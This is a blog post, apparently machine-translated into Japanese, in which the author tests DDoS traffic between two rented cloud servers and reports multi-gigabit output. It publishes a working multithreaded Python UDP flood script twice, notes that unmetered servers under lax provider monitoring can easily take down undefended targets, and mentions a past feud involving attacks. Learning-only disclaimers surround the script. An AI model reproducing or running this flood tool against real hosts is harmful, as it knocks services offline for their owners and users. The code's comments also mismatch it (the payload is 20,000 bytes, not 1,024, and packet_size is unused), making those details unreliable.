K7

K7Blog

须知少年凌云志 曾许人间第一流.
proton
telegram

原来DDOS成本那么低 26行代码完成测试

本文は、DDOS 攻撃の原理を学ぶためのものであり、他人のウェブサイトを攻撃する方法を教えるものではありません。

序文:#

以前、私はCC 攻撃の経験を記録しました。これは、私が初心者であり、AI を利用して簡単な CC 攻撃スクリプトを作成するためのコードを書くことができなかった経験を記録したものです。その後、このウェブサイトのオーナーとの間でいくつかの摩擦があり、彼から数日間 DDOS と CC 攻撃を受けましたが、最終的には何も起こらず、その後の展開もありませんでした。

今日のこの記事は、突然のアイデアで DDOS を試してみるものです。私は DDOS がターゲットサーバーに大量のリクエストを送信してサーバーを使用不能にすることを知っています。サーバーのリソースを消費し、サービスプロバイダーがサーバーの IP をブラックホールに入れることで、サーバーを攻撃する効果を達成します。

How_to_stop_DDoS_attacks_hero-1024x501

UDP、TCP、フラッド攻撃、アンプリファイド攻撃など、これらは聞いたことがありますが、実装方法や原理については詳しく調べたことはありません。Google で検索した結果は公式な説明であり、理解しにくいものでした。そこで、AI との対話を通じて実装原理を理解し、Python スクリプトを書いてテストしました。

コードのテスト:#

vultr で 2 つの同じ地域のサーバーを立ち上げ、両方とも CPU 最適化サーバーを使用しました。最初のコードテストでは、約 5m のトラフィックを生成し、後で 1000 の同時接続を追加しても 7m にしかなりませんでした。AI との対話で、パケットサイズを追加することでトラフィックのピークを達成できることがわかりました。

新しいコードテストを書いて、vultr のバックエンドで次のように表示されました:

Snipaste_2024-05-19_13-33-35

サーバーは Gbps の効果を出しました。SSH 接続ツールで監視すると、ピーク時には上りが約 2G あります。攻撃対象のサーバーも実際にこのトラフィックを受け取りました。私はテストが終わったらすぐにサーバーを削除しました(公式にアカウントが停止されるのを恐れていますが、まだ 100 ドル以上の残高があります)。そのため、詳細なスクリーンショットはありません。

自分のサーバーを攻撃しましたが、一部のトラフィックは到着するとすぐに停止し、1 台のサーバーは攻撃できず、2 台のサーバーを同時に攻撃すると停止しました。2 台のサーバーを SSH 接続ツールで監視すると、上りが 3〜5G あります。わずかなテストの間に数百 G のトラフィックが消えてしまいました。また、以前に購入した香港の BPG サーバーは公式には 500M の帯域幅があると言われていますが、実際には下りで 500M に近く、上りでは 2000M 以上になることもあります。これらのサーバーを持っている場合、または ColoCrossing のようなトラフィック制限のないサーバーを持っている場合、サービスプロバイダーの監視が緩い場合、防御のないまたは低い防御のサーバーを簡単に攻撃することができます。

コードの掲示:#

注意⚠️:このコードは DDOS 攻撃の原理を学ぶためにのみ使用し、自分自身で攻撃を研究することを目的としています。違法な行為には使用しないでください。他人のウェブサイトを攻撃するために使用しないでください。

SEO の観点から見ても、または一部の公益または収益を上げるウェブサイトの場合、ウェブサイトの安定性は非常に重要です。川岸を歩く者は靴が濡れることがあります。違法な行為をすることはお勧めしません。

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes_to_send = message.encode('utf-8')
    end_time = time.time() + duration
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()
    print("Attack finished.")
target_ip = "127.0.0.1"  # 目標のIPアドレス
target_port = 80             # 目標のポート
message = "A" * 20000         # 送信するメッセージ(1024バイトのデータパケット)
duration = 100                # 持続時間(秒)
num_threads = 10           # 並行スレッド数
packet_size = 1024           # 各UDPデータパケットのサイズ(バイト)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)

上記は複数行とコメントを削除したものです。使用できない場合は、AI が提供した元のコードを使用してください。

import socket
import threading
import time

def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
    # Create a UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Encode the message into bytes
    bytes_to_send = message.encode('utf-8')
    
    # Get the current time
    end_time = time.time() + duration
    
    print(f"Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads...")
    
    # Define the function to send UDP packets
    def send_udp():
        while time.time() < end_time:
            sock.sendto(bytes_to_send, (target_ip, target_port))
    
    # Start multiple threads to send UDP requests
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_udp)
        thread.start()
        threads.append(thread)
    
    # Wait for all threads to finish
    for thread in threads:
        thread.join()
    
    print("Attack finished.")

# Configure the attack parameters
target_ip = "127.0.0.1"  # 目標のIPアドレス
target_port = 80             # 目標のポート
message = "A" * 20000         # 送信するメッセージ(1024バイトのデータパケット)
duration = 100                # 持続時間(秒)
num_threads = 10           # 並行スレッド数
packet_size = 1024           # 各UDPデータパケットのサイズ(バイト)

# Launch the attack
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。